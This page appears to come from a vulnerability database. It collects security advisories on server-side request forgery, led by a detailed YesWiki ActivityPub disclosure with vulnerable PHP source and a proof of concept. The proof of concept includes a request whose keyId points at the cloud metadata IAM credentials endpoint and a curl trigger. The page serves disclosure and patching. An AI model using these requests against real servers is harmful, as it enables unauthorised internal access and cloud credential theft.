A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook: image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:58:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = \u00271\u0027`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** \u2014 `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83\u2013100)\npublic function verifySignature(Request $request) {\n    if (!$request-\u003eheaders-\u003ehas(\u0027Signature\u0027)) {\n        throw new Exception(\u0027No signature\u0027);\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request-\u003eheaders-\u003eget(\u0027Signature\u0027), [\",\" =\u003e \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf[\u0027keyId\u0027],$sigConf[\u0027algorithm\u0027],$sigConf[\u0027headers\u0027],$sigConf[\u0027signature\u0027])) {\n        throw new Exception(\u0027Malformed signature\u0027);\n    }\n\n    $response = $this-\u003ehttpClient-\u003erequest(\u0027GET\u0027, $sigConf[\u0027keyId\u0027], [    // (b) SINK \u2014 no validation,\n        \u0027headers\u0027 =\u003e [ \u0027Accept\u0027 =\u003e \u0027application/ld+json\u0027]                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125\u2013145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this-\u003egetService(ActivityPubService::class);\n    $httpSignatureService = $this-\u003egetService(HttpSignatureService::class);\n\n    $form = $this-\u003egetService(BazarListService::class)-\u003egetForms([\u0027idtypeannonce\u0027 =\u003e $formId])[$formId];\n\n    if ($activityPubService-\u003eisEnabled($form)) {\n        $activity = json_decode($request-\u003egetContent(), true);\n\n        $httpSignatureService-\u003everifySignature($request);     // \u003c-- SSRF fires here\n        $activityPubService-\u003eprocessActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, \u2026);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL \u2192 enabled-form gate \u2192 unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient-\u003erequest(\u0027GET\u0027, \u0027\u003cattacker URL\u003e\u0027)`.\n* YesWiki\u0027s server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn\u0027t contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d \u0027{}\u0027 \\\n     -w \u0027\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n\u0027\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:\u2026\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse \u2014 the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n\u003cimg width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" /\u003e",
  "id": "GHSA-vw42-752g-5mrp",
  "modified": "2026-07-09T20:58:33Z",
  "published": "2026-07-09T20:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`"
}

GHSA-VW5F-QMFC-5Q4V

Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information from internal services due to a URL parser discrepancy.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-19304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T16:17:24Z",
    "severity": "HIGH"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information from internal services due to a URL parser discrepancy.",
  "id": "GHSA-vw5f-qmfc-5q4v",
  "modified": "2026-09-04T18:31:21Z",
  "published": "2026-09-04T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19304"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7285639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWGF-9VCJ-W93C

Vulnerability from github – Published: 2025-05-01 06:30 – Updated: 2025-05-01 06:30
VLAI
Details

The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the 'process_feed' method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T05:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the \u0027process_feed\u0027 method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-vwgf-9vcj-w93c",
  "modified": "2025-05-01T06:30:27Z",
  "published": "2025-05-01T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13845"
    },
    {
      "type": "WEB",
      "url": "https://www.gravityforms.com/blog/brand-new-release-webhooks-add-on-1-7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9311b20b-daad-408f-a1a0-d1e42573ab97?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWGW-65GP-7F8Q

Vulnerability from github – Published: 2024-04-25 15:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-25T15:16:04Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.",
  "id": "GHSA-vwgw-65gp-7f8q",
  "modified": "2026-04-28T21:34:57Z",
  "published": "2024-04-25T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33592"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/radio-player/wordpress-radio-player-plugin-2-0-73-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.